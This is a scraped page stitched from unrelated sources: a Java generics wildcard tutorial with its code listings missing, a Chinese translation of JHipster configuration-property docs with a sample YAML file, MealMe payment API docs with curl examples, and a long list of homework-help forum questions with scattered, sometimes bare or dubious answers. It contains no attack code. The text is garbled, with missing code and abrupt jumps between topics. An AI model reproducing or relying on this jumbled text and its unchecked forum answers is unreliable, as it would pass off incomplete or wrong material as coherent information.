The wheel is attached to an electric generator and the rotation rate drops from 290 to 230 in 3.5 . What is the average power output?
Physics
Find the energy stored in the solid flywheel of mass 8.0×104 and radius 1.8 when it's rotating at 290
Math
Monday, Mr. C stacked a display case of 80 heads of lettuce. By end of day, some were sold. Tuesday Mr. C counted lettuce left and decided to add an equal number of lettuce (**hint - he doubled the leftovers). At end of Tuesday, he sold the same number as Monda...
chemistry
oh alright thank you i found out my mistake. thank you sir.
chemistry
Will a fluoride concentration of 1.0 mg/L be soluble in a water containing 200 mg/L of calcium? I got Qsp 1.38 * 10^-8 and Ksp = 3.45*10^-11 does that seem right? and does this mean fluride concentration will be soluble in water containing calcium?
chemistry
thank you sir.
chemistry
Will a fluoride concentration of 1.0 mg/L be soluble in a water containing 200 mg/L of calcium? This is what i found for ksp CaF2<--> Ca(2+) +2F(-) Ksp=(x)(4x^2) where x=solubility Therefore, Ksp=3.7 x 10^-11 and for Qsp I am not sure how to go on about calculating that.
Physics
A 45-kg skater rounds a 5.0-m radius turn at 6.3 m/s. (A.) What are the vertical and horizontal components of the force the ice exerts on her skate blades? (B.) At what angle can she lean without falling over?
Cemistry
This is what i found for ksp CaF2<--> Ca(2+) +2F(-) Ksp=(x)(4x^2) where x=solubility Therefore, Ksp=3.7 x 10^-11 and for Qsp I am not sure how to go on about calculating that.
Cemistry
Will a fluoride concentration of 1.0 mg/L be soluble in a water containing 200 mg/L of calcium?
Algebra 2
x = 0 and x = 3 you did it right.
math
christi rides her bicycle 7 blocks south. 3 blocks east, 5 blocks north, and 8 blocks west. how many blocks has she ridden when she crosses her own path
math
You worked from 2:30pm – 8:45pm with a ½ hour lunch break. Your hourly wage is $7.50/ hour. How much did you earn?
chemistry
a.) The simultaneous oxidation and reduction of a chlorite ion 3ClO-2(aq)-><-2ClO-3(aq) + Cl-(aq. b.) IO-3(aq) + 6OH-(aq) + Cl(aq)-><-IO-5,6(aq) + 3H2O(i).
chemistry
write equilibrium constant expression for each reaction. a) The oxidation of ammonia with CIF3 in a rocket motor NH3(g) + CIF(g)-><-3HF(g) + 1/2N2 + 1/2Cl(g) b.) The simultaneous oxidation and reduction of a chlorite ion. 3Cl-2(aq)-><-2ClO-3(aq) + Cl-(aq) c.) IO-3(...
Math
Suppose you draw 5 cards out of a deck of 52 and get 2 spades and 3 hearts. What is the probability that the first card drawn was a spade?
physics
a baseball is thrown horizontally at a velocity of 35 m/s from a height of 1.5 m. How long does it take to hit the ground? how far does it travel?
Math
simple. Set up two fractions like so: 159mi/5.3gal =x/1gal answer would be 30 miles.
chemistry .chemistry
obtanin a piece of comcentrated acetic acid and 10 ml of di- water . bring the content of this beaker to a gentle boil using a low flame on the Bunsen burner . boild for about 3minutes , alow to cool and then remove the steel wool ball . what is formula? Ans : Fe + 2CH3COOH --...
chemistry
obtanin a piece of comcentrated acetic acid and 10 ml of di- water . bring the content of this beaker to a gentle boil using a low flame on the Bunsen burner . boild for about 3minutes , alow to cool and then remove the steel wool ball . what's happened in procedure? i mea...
chemistry
thank you
Pages: <<Prev | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | Next>>
Search
Members
|
__label__pos
| 0.907643 |
lcapi.dll
Process name: Messenger Component
Application using this process: Windows Live Messenger
lcapi.dll
Process name: Messenger Component
Application using this process: Windows Live Messenger
lcapi.dll
Click here to run a scan if you are experiencing issues with this process.
Process name: Messenger Component
Application using this process: Windows Live Messenger
Recommended: Scan your system for invalid registry entries.
What is lcapi.dll doing on my computer?
lcapi.dll is a Messenger Component from Microsoft Corporation belonging to Windows Live Messenger Non-system processes like lcapi.dll originate from software you installed on your system. Since most applications store data in your system's registry, it is likely that over time your registry suffers fragmentation and accumulates invalid entries which can affect your PC's performance. It is recommended that you check your registry to identify slowdown issues.
lcapi.dll
In order to ensure your files and data are not lost, be sure to back up your files online. Using a cloud backup service will allow you to safely secure all your digital files. This will also enable you to access any of your files, at any time, on any device.
Is lcapi.dll harmful?
This process is considered safe. It is unlikely to pose any harm to your system. Scan your system now to identify issues with this process and services that can be safely removed.
lcapi.dll is a safe process
Can I stop or remove lcapi.dll?
Most non-system processes that are running can be stopped because they are not involved in running your operating system. Scan your system now to identify unused processes that are using up valuable resources. lcapi.dll is used by 'Windows Live Messenger'.This is an application created by 'Microsoft Corporation'. To stop lcapi.dll permanently uninstall 'Windows Live Messenger' from your system. Uninstalling applications can leave invalid registry entries, accumulating over time. Run a free scan to find out how to optimize software and system performance.
Is lcapi.dll CPU intensive?
This process is not considered CPU intensive. However, running too many processes on your system may affect your PC’s performance. To reduce system overload, you can use the Microsoft System Configuration Utility to manually find and disable processes that launch upon start-up. Alternatively, download PC Mechanic to automatically scan and identify any PC issues.
Why is lcapi.dll giving me errors?
Process related issues are usually related to problems encountered by the application that runs it. A safe way to stop these errors is to uninstall the application and run a system scan to automatically identify any PC issues.
Process Library is the unique and indispensable process listing database since 2004 Now counting 140,000 processes and 55,000 DLLs. Join and subscribe now!
System Tools
SpeedUpMyPC
PC Mechanic
Toolbox
ProcessQuicklink
|
__label__pos
| 0.905364 |
FFMPEG: получить последние 10 секунд [закрыто]
Я пытаюсь получить последние 10 секунд видео, о котором я не знаю длину, а затем сохранить эти 10 секунд в качестве нового видео. Это возможно с помощью командной строки ffmpeg? И если да, то как?
Спасибо за помощь
здоровается
1 ответов
использовать . От документация:
-sseof положение (вход/выход)
Как но относительно "конца файла". То есть отрицательные значения в файл, 0 в EOF.
пример:
ffmpeg -sseof -10 -i input.mp4 output.mp4
обратите внимание, что в трансляция копия режим (с помощью -c copy или эквивалент) отрезок произойдет на ближайшем ключевом кадре, поэтому он может отрезать на вашем точное желаемое время. Если требуется большая точность, вам придется перекодировать вместо потоковой копии.
|
__label__pos
| 0.845467 |
Espaces de noms et langage dynamique
L'impl�mentation des espaces de noms de PHP est influenc�e par sa nature dynamique de langage de programmation. Par cons�quent, pour convertir du code tel que le code de l'exemple suivant, en un espace de noms :
Exemple #1 Acc�s dynamique aux �l�ments
example1.php:
<?php
class classname
{
function
__construct()
{
echo
__METHOD__,"\n";
}
}
function
funcname()
{
echo
__FUNCTION__,"\n";
}
const
constname "global";
$a 'classname';
$obj = new $a// affiche classname::__construct
$b 'funcname';
$b(); // affiche funcname
echo constant('constname'), "\n"// affiche global
?>
Il faut utiliser un nom absolu (le nom de la classe, avec son pr�fixe d'espace de noms). Notez qu'il n'y a pas de diff�rence entre un nom absolu et un nom qualifi� dans un nom de classe, de fonction ou de constante dynamique, ce qui fait que l'anti-slash initial n'est pas n�cessaire.
Exemple #2 Acc�s dynamique � des espaces de noms
<?php
namespace nomdelespacedenoms;
class
classname
{
function
__construct()
{
echo
__METHOD__,"\n";
}
}
function
funcname()
{
echo
__FUNCTION__,"\n";
}
const
constname "namespaced";
include
'example1.php';
$a 'classname';
$obj = new $a// affiche classname::__construct
$b 'funcname';
$b(); // affiche funcname
echo constant('constname'), "\n"// affiche global
/* Note que si vous utilisez des guillemets doubles, "\\nomdelespacedenoms\\classname" doit �tre utilis� */
$a '\nomdelespacedenoms\classname';
$obj = new $a// affiche nomdelespacedenoms\classname::__construct
$a 'nomdelespacedenoms\classname';
$obj = new $a// affiche aussi nomdelespacedenoms\classname::__construct
$b 'nomdelespacedenoms\funcname';
$b(); // affiche nomdelespacedenoms\funcname
$b '\nomdelespacedenoms\funcname';
$b(); // affiche aussi nomdelespacedenoms\funcname
echo constant('\nomdelespacedenoms\constname'), "\n"// affiche namespaced
echo constant('nomdelespacedenoms\constname'), "\n"// affiche aussi namespaced
?>
Il est recommand� de lire la note au sujet de la protection des espaces de noms dans les cha�nes.
|
__label__pos
| 0.928629 |
2015 AMC 10A Problems/Problem 21
The following problem is from both the 2015 AMC 12A #16 and 2015 AMC 10A #21, so both problems redirect to this page.
Problem
Tetrahedron $ABCD$ has $AB=5$, $AC=3$, $BC=4$, $BD=4$, $AD=3$, and $CD=\tfrac{12}5\sqrt2$. What is the volume of the tetrahedron?
$\textbf{(A) }3\sqrt2\qquad\textbf{(B) }2\sqrt5\qquad\textbf{(C) }\dfrac{24}5\qquad\textbf{(D) }3\sqrt3\qquad\textbf{(E) }\dfrac{24}5\sqrt2$
Solution 1
Drop altitudes of triangle $ABC$ and triangle $ABD$ down from $C$ and $D$, respectively. Both will hit the same point; let this point be $T$. Because both triangle $ABC$ and triangle $ABD$ are 3-4-5 triangles, $CT = DT = \dfrac{3\cdot4}{5} = \dfrac{12}{5}$. Because $CT^{2} + DT^{2} = 2\left(\frac{12}{5}\right)^{2} = \left(\frac{12}{5}\sqrt{2}\right)^{2} = CD^{2}$, it follows that the $CTD$ is a right triangle, meaning that $\angle CTD = 90^\circ$, and it follows that planes $ABC$ and $ABD$ are perpendicular to each other. Now, we can treat $ABC$ as the base of the tetrahedron and $TD$ as the height. Thus, the desired volume is \[V = \dfrac{1}{3} Bh = \dfrac{1}{3}\cdot[ABC]\cdot TD = \dfrac{1}{3} \cdot 6 \cdot \dfrac{12}{5} = \dfrac{24}{5}\] which is answer $\boxed{\textbf{(C) } \dfrac{24}{5}}$
Solution 2
Let the midpoint of $CD$ be $E$. We have $CE = \dfrac{6}{5} \sqrt{2}$, and so by the Pythagorean Theorem $AE = \dfrac{\sqrt{153}}{5}$ and $BE = \dfrac{\sqrt{328}}{5}$. Because the altitude from $A$ of tetrahedron $ABCD$ passes touches plane $BCD$ on $BE$, it is also an altitude of triangle $ABE$. The area $A$ of triangle $ABE$ is, by Heron's Formula, given by
\[16A^2 = 2a^2 b^2 + 2b^2 c^2 + 2c^2 a^2 - a^4 - b^4 - c^4 = -(a^2 + b^2 - c^2)^2 + 4a^2 b^2.\] Substituting $a = AE, b = BE, c = 5$ and performing huge (but manageable) computations yield $A^2 = 18$, so $A = 3\sqrt{2}$. Thus, if $h$ is the length of the altitude from $A$ of the tetrahedron, $BE \cdot h = 2A = 6\sqrt{2}$. Our answer is thus \[V = \dfrac{1}{3} Bh = \dfrac{1}{3} h \cdot BE \cdot \dfrac{6\sqrt{2}}{5} = \dfrac{24}{5},\] and so our answer is $\boxed{\textbf{(C) } \dfrac{24}{5}}$
Solution 3
Similar to solution 1, $\triangle CTD$ is an isosceles right triangle. $AB$ is perpendicular to the plane $CTD$. So, we can cut tetrahedron $ABCD$ into 2 tetrahedrons $ACTD$ and $BCTD$ with $\triangle CTD$ as their common base, $BT$ and $AT$ as their heights.
$[CTD]=\frac{1}{2} \cdot CT \cdot DT=\frac{1}{2} \cdot \frac{12}{5} \cdot \frac{12}{5}= \frac{72}{25}$
$V_{ABCD}=V_{ACDT}+V_{BCDT}=\frac{1}{3} \left([CTD] \cdot AT + [CTD] \cdot BT \right)=\frac{1}{3} \cdot [CTD] \cdot (AT+BT)=\frac{1}{3} \cdot [CTD] \cdot AB =\frac{1}{3} \cdot \frac{72}{25} \cdot 5$
$= \boxed{\textbf{(C) } \dfrac{24}{5}}$
~isabelchen
Video Solution by Richard Rusczyk
https://www.youtube.com/watch?v=1J_P0tXszLQ
Video Solution by TheBeautyofMath
https://www.youtube.com/watch?v=ckRtrNuNgk4
~IceMatrix
See Also
2015 AMC 10A (ProblemsAnswer KeyResources)
Preceded by
Problem 20
Followed by
Problem 22
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
All AMC 10 Problems and Solutions
2015 AMC 12A (ProblemsAnswer KeyResources)
Preceded by
Problem 15
Followed by
Problem 17
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
All AMC 12 Problems and Solutions
The problems on this page are copyrighted by the Mathematical Association of America's American Mathematics Competitions. AMC logo.png
Invalid username
Login to AoPS
|
__label__pos
| 0.999969 |
answersLogoWhite
0
Best Answer
Copy
3
User Avatar
Maddison Thiel
Lvl 8
2021-03-01 17:47:55
This answer is:
🙏
0
🤨
0
😮
0
😂
0
User Avatar
More Answers
User Avatar
Wiki User
2011-07-02 14:10:46
This equals positive three.
User Avatar
Add your answer:
Earn +5 pts
Q: Negative 3 divided by negative 1 equals what?
Write your answer...
Submit
Sign up for more answers
Registered users can ask questions, leave comments, and earn points for submitting new answers.
Already have an account? Log in
Related Questions
What divided by 4 equals negative 1?
negative 4
Negative 2 divided by 1 equals?
2
Why does a positive divided by a negative equals a negative?
Multiply both by -1, (therefore not changing the result) and the calculation now equals a negative divided by a positive, which is negative. (Half a deficit, is still a deficit)
How do I find x in this equation 1 divided by x equals a negative number?
I think its any other negative number. Because a negative divided by a positive has to be a negative result.
What integer divided by the sum of negative 5 and negative 1 equals positive 3?
-18
What is negative 2 divided by negative 2 equals?
1
What is negative 35 divided by negative 35?
1
What is the derivative of 1 divided by x to the third power?
1 divided by x to the third power equals x to the negative third. The derivative of x to the negative third is minus three x to the negative fourth.
Is a slope of negative five parallel to a slope of 1 over negative point 2 since 1 divided by negative point 2 equals -5?
Yes.
What is 3 divided by negative 3?
1
What is negative 9 minus 1 divided by negative 3?
negative 9 divided by negative 3 is 3 andnegative 3 minus 1 is negative 2
What is negative one ninth as a decimal?
First turn 1/9 into a decimal. Here are the steps:1/9 = .1then just put the negative sign because a negative divided my a positive equals a negative.the answer is: - .1I hope this helps
Negative two third divided by negative one forth equals?
-(2/3) divided by -(1/4) = (-2)(4)/(3)(-1) = (-8)/(-3) = 8/3
What is negative 12 divided by 12?
1
What is negative 3 divided by 3?
1
What 1 divided by negative 4?
0.25
What is negative 15 divided by negative one third?
Negative 15 divided by negative one third = 45/1 or 45
How do you simplify negative 8 over negative 8?
negative 8 over negative 8 equals 1 (anything over itself equals to 1)
6 divided by negative 1?
-6 Yes the answer would be -6. But in order to get that answer you must know this: positive divided by a positive = positive positive divided by a negative = a negative negative divided by a positive = a negative negative divided by a negative = positive (also note: it's the same formula for multiplying)
What is negative 3 divided by 1?
3
What is negative one divided by negative one?
1
What is negative 2 divided by 2?
1
What is negative one fifth divided by negative 3?
Negative one fifth (-1/5) divided by negative 3 is positive one fifteenth (1/15)
What is negative 4 divided by negative 4?
1
What is negative 10 divided by negative two-thirds?
Negative 10 divided by negative two-thirds = 15/1 or 15
|
__label__pos
| 1 |
Lean Principles and Software Architecture: The Waste of Information Transformation
This is the third in a series of posts about Lean principles and software architecture by Nanette Brown.
Read first post, Lean Principles and Software Architecture: Categories of Waste.
Read second post, The Waste of Waiting.
In Lean production, the waste of transportation and the waste of motion refer to the unnecessary, non-value-added movement of parts and material and people and equipment. While software development inevitably involves a certain amount of movement of people and equipment, information is the primary entity that moves or flows throughout the development process. Therefore, the mapping of the wastes of transportation and motion to software development might best be characterized as the “waste of information transformation.”
In software development, information is constantly being transformed. The end user’s mental model of the system as a set of capabilities is transformed to the architect’s mental model of system structure and the developer’s mental model of components, interfaces, and algorithms and the tester’s mental model of test strategies and test cases. These mental models are in turn transformed into human-readable artifacts (such as user stories or architecture diagrams or test cases) and machine-readable artifacts (such as code and automated test suites). The question is, What is the most effective way to transform the information? Which transformations add value and which add waste?
One approach to reducing the waste of information transformation is through tooling. Model-driven development is intended to automate (or semi-automate) the transformation of architecture and design models into executable code. Agile tools such as Fitnesse are intended to reduce waste in the transformation of requirements knowledge into executable test cases. Reducing waste in human-to-human and artifact-to-human communications, however, is a little less straightforward.
Agile software development challenges the value traditionally assigned to written artifacts (including formal models). Taken as a whole, the first three values of the Agile manifesto advocate ongoing conversations and collaboration as the key to discovering and elaborating requirements and working software as the ultimate embodiment of this knowledge.
In many ways, I agree with this stance. We have all seen the bloated and obtuse specifications that result from attempting to use a written document to capture each and every requirement at a highly detailed level of granularity. The waste of information transformation can be seen both in the effort invested to construct the documents and in the effort invested to extract information from the documents.
And yet knowledge based on verbal communications is ephemeral, often ambiguous, and subject to erosion. Misinterpreting or omitting requirements due to lack of rigor is a waste. So is the loss of knowledge over time and space (in the case of distributed development) that can result from over-reliance on informal methods. When specification techniques rely heavily on verbal communications and tacit knowledge, the Agile practice of rapid transformation of knowledge to validated code becomes critical to avoiding the waste of information loss.
Software processes and practices have traditionally been designed by software engineers. More recently with the increased influence of Lean principles, we have begun to borrow from manufacturing and operations experts. Perhaps it’s time for knowledge engineers and social and cognitive psychologists to make a contribution as well and help us software types design practices that avoid the waste of information transformation.
– Nanette Brown, SEI
Advertisements
One response to “Lean Principles and Software Architecture: The Waste of Information Transformation
1. I love the idea of inviting people other than software engineers to collaborate with us to improve our systems development processes. We need systems thinkers who can see the big picture and are not afraid to ask “why?” But to be effective, these people must be comfortable enough with technology that they are not intimidated by it or those who build it. If they are intimidated, they will struggle between the extremes of deferring to our “wisdom” and being obstinate to prove they have some control. Neither extremes are the thoughtful partnership we require to serve our business.
Leave a Reply
Fill in your details below or click an icon to log in:
WordPress.com Logo
You are commenting using your WordPress.com account. Log Out / Change )
Google+ photo
You are commenting using your Google+ account. Log Out / Change )
Twitter picture
You are commenting using your Twitter account. Log Out / Change )
Facebook photo
You are commenting using your Facebook account. Log Out / Change )
w
Connecting to %s
|
__label__pos
| 0.854481 |
Definition: A space for which every open covering contains a countable subcovering is called a Lindelöf space
In the book Topology written by Munkres it is said that the Sorgenfrey plane is not Lindelöf using the next argument:
Consider the subspace L={xCocktail Jayla Lace Black Alice Olivia Dress Nude ×(x)|xRl} (where Rl is the lower limit topology). It is easy to see that L is closed in R2l.
Let us cover R2l by the open set R2lL and by all basis elements of the form
[a,b)×[a,d)
Each of these open sets intersects L in at most one point. Since L is uncountable, no countable subcollection covers R2l
My question is, why you can't choose another form of all basis elements in order to intersect L with this basis elements such that the intersection have more than one point?
For example, why you can't choose elements of the basis with the following form?
[α,b)×[c,d) where α,b,c,dQ and αc
Thank you
Skirt Bleu Waist Swim Rod Beattie Printed Blue by 4xYwP
up vote 1 down vote Dress Lace Alice Black Nude Olivia Cocktail Jayla accepted
A closed subspace of a Lindelöf space is Lindelöf too, so if the Sorgenfrey plane is, so is L. But L in the subspace topology is discrete, as every singleton is open as [a,b)×[a,d)L={(a,a)}.
A discrete space is Lindelöf iff is is countable (take the open cover by singletons). L is not countable, contradiction.
Your Answer
• Alice Lace Nude Black Dress Olivia Jayla Cocktail
No Pk Mesh Lemon Rose 2 Smoke Socks Women's Beach Show wXEESWxgqI
By clicking "Post Your Answer", you acknowledge that you have read our updated terms of service, privacy policy and cookie policy, and that your continued use of the website is subject to these policies.
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.989208 |
ECS Logging with Pino
edit
This Node.js package provides a formatter for the pino logger, compatible with Elastic Common Schema (ECS) logging. In combination with the Filebeat shipper, you can monitor all your logs in one place in the Elastic Stack. pino 6.x, 7.x, and 8.x versions are supported.
Setup
edit
Step 1: Install
edit
$ npm install @elastic/ecs-pino-format
Step 2: Configure
edit
const { ecsFormat } = require('@elastic/ecs-pino-format');
const pino = require('pino');
const log = pino(ecsFormat(/* options */));
log.info('hi');
log.error({ err: new Error('boom') }, 'oops there is a problem');
// ...
This will configure Pino’s formatters, messageKey and timestamp options.
See usage discussion and examples below.
Step 3: Configure Filebeat
edit
The best way to collect the logs once they are ECS-formatted is with Filebeat:
1. Follow the Filebeat quick start
2. Add the following configuration to your filebeat.yaml file.
For Filebeat 7.16+
filebeat.yaml.
filebeat.inputs:
- type: filestream
paths: /path/to/logs.json
parsers:
- ndjson:
overwrite_keys: true
add_error_key: true
expand_keys: true
processors:
- add_host_metadata: ~
- add_cloud_metadata: ~
- add_docker_metadata: ~
- add_kubernetes_metadata: ~
Use the filestream input to read lines from active log files.
Values from the decoded JSON object overwrite the fields that Filebeat normally adds (type, source, offset, etc.) in case of conflicts.
Filebeat adds an "error.message" and "error.type: json" key in case of JSON unmarshalling errors.
Filebeat will recursively de-dot keys in the decoded JSON, and expand them into a hierarchical object structure.
Processors enhance your data. See processors to learn more.
For Filebeat < 7.16
filebeat.yaml.
filebeat.inputs:
- type: log
paths: /path/to/logs.json
json.keys_under_root: true
json.overwrite_keys: true
json.add_error_key: true
json.expand_keys: true
processors:
- add_host_metadata: ~
- add_cloud_metadata: ~
- add_docker_metadata: ~
- add_kubernetes_metadata: ~
For more information, see the Filebeat reference.
Usage
edit
const { ecsFormat } = require('@elastic/ecs-pino-format');
const pino = require('pino');
const log = pino(ecsFormat(/* options */));
log.info('Hello world');
const child = log.child({ module: 'foo' });
child.warn('From child');
See available options below.
Running this will produce log output similar to the following:
{"log.level":"info","@timestamp":"2023-10-14T02:07:47.901Z","process.pid":56645,"host.hostname":"pink.local","ecs.version":"8.10.0","message":"Hello world"}
{"log.level":"warn","@timestamp":"2023-10-14T02:07:47.901Z","process.pid":56645,"host.hostname":"pink.local","ecs.version":"8.10.0","module":"foo","message":"From child"}
Error Logging
edit
By default, the formatter will convert an err field that is an Error instance to ECS Error fields. For example:
const { ecsFormat } = require('@elastic/ecs-pino-format');
const pino = require('pino');
const log = pino(ecsFormat());
const myErr = new Error('boom');
log.info({ err: myErr }, 'oops');
will yield (pretty-printed for readability):
% node examples/error.js | jq .
{
"log.level": "info",
"@timestamp": "2021-01-26T17:02:23.697Z",
...
"error": {
"type": "Error",
"message": "boom",
"stack_trace": "Error: boom\n at Object.<anonymous> (..."
},
"message": "oops"
}
This is analogous to and overrides Pino’s default err serializer. Special handling of the err field can be disabled via the convertErr: false option:
const log = pino(ecsFormat({ convertErr: false }));
HTTP Request and Response Logging
edit
With the convertReqRes: true option, the formatter will automatically convert Node.js core request and response objects when passed as the req and res fields, respectively. (This option replaces the usage of req and res Pino serializers.)
const http = require('http');
const { ecsFormat } = require('@elastic/ecs-pino-format');
const pino = require('pino');
const log = pino(ecsFormat({ convertReqRes: true }));
const server = http.createServer(function handler (req, res) {
res.setHeader('Foo', 'Bar');
res.end('ok');
log.info({ req, res }, 'handled request');
});
server.listen(3000, () => {
log.info('listening at http://localhost:3000');
}
use convertReqRes option
log with req and/or res fields
This will produce logs with request and response info using ECS HTTP fields. For example:
% node examples/http.js | jq . # using jq for pretty printing
... # run 'curl http://localhost:3000/'
{
"log.level": "info",
"@timestamp": "2023-10-14T02:10:14.477Z",
"process.pid": 56697,
"host.hostname": "pink.local",
"ecs.version": "8.10.0",
"http": {
"version": "1.1",
"request": {
"method": "GET",
"headers": {
"host": "localhost:3000",
"user-agent": "curl/8.1.2",
"accept": "*/*"
}
},
"response": {
"status_code": 200,
"headers": {
"foo": "Bar"
}
}
},
"url": {
"full": "http://localhost:3000/",
"path": "/"
},
"client": {
"address": "::ffff:127.0.0.1",
"ip": "::ffff:127.0.0.1",
"port": 49504
},
"user_agent": {
"original": "curl/8.1.2"
},
"message": "handled request"
}
The examples/ directory shows sample programs using request and response logging: with Express, with the pino-http middleware package, etc.
Log Correlation with APM
edit
This ECS log formatter integrates with Elastic APM. If your Node app is using the Node.js Elastic APM Agent, then a number of fields are added to log records to correlate between APM services or traces and logging data:
• Log statements (e.g. logger.info(...)) called when there is a current tracing span will include tracing fields — trace.id, transaction.id, span.id.
• A number of service identifier fields determined by or configured on the APM agent allow cross-linking between services and logs in Kibana — service.name, service.version, service.environment, service.node.name.
• event.dataset enables log rate anomaly detection in the Elastic Observability app.
For example, running examples/http-with-elastic-apm.js and curl -i localhost:3000/ results in a log record with the following:
% node examples/http-with-elastic-apm.js | jq .
...
"service.name": "http-with-elastic-apm",
"service.version": "1.4.0",
"service.environment": "development",
"event.dataset": "http-with-elastic-apm",
"trace.id": "9f338eae7211b7993b98929046aed21d",
"transaction.id": "2afbef5642cc7a3f",
...
These IDs match trace data reported by the APM agent.
Integration with Elastic APM can be explicitly disabled via the apmIntegration: false option, for example:
const log = pino(ecsFormat({ apmIntegration: false }));
Limitations and Considerations
edit
The ecs-logging spec suggests that the first three fields in log records must be @timestamp, log.level, and message. Pino does not provide a mechanism to put the message field near the front. Given that ordering of ecs-logging fields is for human readability and does not affect interoperability, this is not considered a significant concern.
The hooks that Pino currently provides do not enable this package to convert fields passed to <logger>.child({ ... }). This means that, even with the convertReqRes option, a call to <logger>.child({ req }) will not convert that req to ECS HTTP fields. This is a slight limitation for users of pino-http which does this.
Reference
edit
ecsFormat([options])
edit
• options {type-object} The following options are supported:
• convertErr {type-boolean} Whether to convert a logged err field to ECS error fields. Default: true.
• convertReqRes {type-boolean} Whether to logged req and res HTTP request and response fields to ECS HTTP, User agent, and URL fields. Default: false.
• apmIntegration {type-boolean} Whether to enable APM agent integration. Default: true.
• serviceName {type-string} A "service.name" value. If specified this overrides any value from an active APM agent.
• serviceVersion {type-string} A "service.version" value. If specified this overrides any value from an active APM agent.
• serviceEnvironment {type-string} A "service.environment" value. If specified this overrides any value from an active APM agent.
• serviceNodeName {type-string} A "service.node.name" value. If specified this overrides any value from an active APM agent.
• eventDataset {type-string} A "event.dataset" value. If specified this overrides the default of using ${serviceVersion}.
Create options for pino(...) that configures ECS Logging format output.
|
__label__pos
| 0.787677 |
Take the 2-minute tour ×
Programmers Stack Exchange is a question and answer site for professional programmers interested in conceptual questions about software development. It's 100% free, no registration required.
In tutorials and books, I have never seen a single word describing the object that the injected object is injected into. Instead, other terms are used, like "injection point" which don't denote the object containing the injected object. And nothing I can think of sounds right, except maybe "injection target" - but I have never read it anywhere.
Is there a single word or a simple expression for it, or is it like the "He-Who-Must-Not-Be-Named" from a recent fantasy book series?
share|improve this question
closed as primarily opinion-based by gnat, MichaelT, Kilian Foth, jwenting, Bart van Ingen Schenau Sep 22 at 10:48
Many good questions generate some degree of opinion based on expert experience, but answers to this question will tend to be almost entirely based on opinions, rather than facts, references, or specific expertise.If this question can be reworded to fit the rules in the help center, please edit the question.
3 Answers 3
up vote 5 down vote accepted
Wikipedia calls it the "Dependent Consumer," or simply the "Dependent Object."
...Dependency injection involves at least three elements:
• a dependent consumer,
• a declaration of a component's dependencies, defined as interface contracts,
• an injector (sometimes referred to as a provider or container) that creates instances of classes that implement a given dependency interface on request.
The dependent object describes what software component it depends on to do its work. The injector decides what concrete classes satisfy the requirements of the dependent object, and provides them to the dependent.
In conventional software development, the dependent object decides for itself what concrete classes it will use. In the dependency injection pattern, this decision is delegated to the "injector" which can choose to substitute different concrete class implementations of a dependency contract interface at run-time rather than at compile time.
Being able to make this decision at run-time rather than compile time is the key advantage of dependency injection. Multiple, different implementations of a single software component can be created at run-time and passed (injected) into the same test code. The test code can then test each different software component without being aware that what has been injected is implemented differently...
share|improve this answer
There is no formal name - I usually think about it as the object that needs the dependency.
Call it the dependant object...
share|improve this answer
It's supposed to be one word. How about DependentObject? :-) – Karl Bielefeldt Oct 10 '12 at 19:33
Container sounds like a perfectly acceptable term to me. EG IThing is injected in to its container
Edit -- Comments rightly say that container is already in use in this situation. How about dependee eg The dependency is injected in to its dependee?
share|improve this answer
2
That would be a good name, but unfortunately, 'container' is already taken - by the facility that is responsible for managing the objects and injecting them into each other. – kostja Oct 10 '12 at 19:19
1
Bugger. That would explain why that term jumped to mind immediately and seemed to fitting then! – AndyBursh Oct 10 '12 at 19:22
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.633959 |
Home » Here’s Why You Shouldn’t Miss Out on Mobile Testing In 2023
Here’s Why You Shouldn’t Miss Out on Mobile Testing In 2023
Mobile testing is the method by which apps designed for modern handheld devices are analyzed to check their functionality, user experience, and performance. In this article, we will explore the importance of mobile testing, offer guidance on starting with mobile testing, review various tools for testing mobile apps, and provide an overview of how to utilize those tools.
What Is Mobile Testing?
Mobile testing can either be done manually or automatically. For this type of testing to be successful, developers need to test applications across various screen resolutions, multiple operating systems, and different network bandwidths.
This ensures that, when the software is eventually made accessible to the general public, it will perform seamlessly across a wide range of operating systems.
Types Of Mobile Application Testing
There are numerous approaches to testing mobile applications. There are many testing methods for mobile applications. Listed below are various types of tests that you can conduct:
Mobile Web App Testing
Mobile web app testing refers to evaluating a web application developed for usage on mobile devices, such as smartphones and tablets. It aims to ensure that the app is compatible in different ways.
This includes whether it can work with different mobile devices, operating systems, and screen sizes. This often involves checking the app’s functionality, performance, interoperability, and usability on various mobile devices and operating systems.
Native App Testing
Native app testing assesses an application designed for a specific device operating system, such as iOS or Android. In contrast to web applications accessed through a web browser, native apps are often built to take advantage of a particular mobile device’s capabilities and functions.
Typically, native testing requires frameworks and tools designed specifically for a particular platform.
Hybrid App Testing
Testing a mobile application that contains components of both native and web apps is known as hybrid app testing. A hybrid app is often written using web technologies such as HTML, CSS, and JavaScript. A hybrid app is wrapped behind a native wrapper, enabling it to be installed and executed on a mobile device like a native app.
Integrating the native wrapper with the device’s OS and hardware is a crucial feature of hybrid app testing. Testing the app’s usability and user experience is also essential to verify that it is intuitive and easy to use on different devices.
How Is Mobile Testing Different From Web Testing?
Web apps are software programs on web servers and can be accessed through a web browser. These applications are built with standard techniques such as HTML, CSS, and JavaScript, and they can be accessed through various browsers such as Chrome and Firefox.
Web apps and mobile apps are developed in remarkably different ways. Moreover, how users engage with them varies. An example would be that touchscreen mobile users employ motions such as scrolling and pinching to zoom.
Web application testing seeks to verify that web pages are fully functioning and bug-free across all platforms and browsers. Mobile app testing, in contrast, aims to uncover any compatibility problems or defects for the native or hybrid mobile app across various Android and iOS devices.
Web application testing aims to deploy apps that provide a consistent user experience across various browsers. It also strives to ensure that internet applications continue to function flawlessly regardless of the platform used to access them.
Web apps are software programs hosted on web servers and accessed via a web browser. These applications are created keeping UI/UX and usability in mind. Testing also authenticates the application’s connection to the phone’s main hardware peripherals (GPS, Bluetooth, etc).
Existing websites must also be evaluated for all devices compatibility as part of Web application testing. However, in mobile testing, you must install the application from the relevant app store (Play store or App store) on the device.
How Are Mobile Testing And Web Testing Similar?
Despite the differences between mobile testing applications and web applications, there are still some tests that both types of applications share. For instance, testing is necessary for both functionality and performance. Others include change-related issues, usability, compliance, and restoration. Accreditation testing is also similar for both.
Tools For Mobile Application Testing
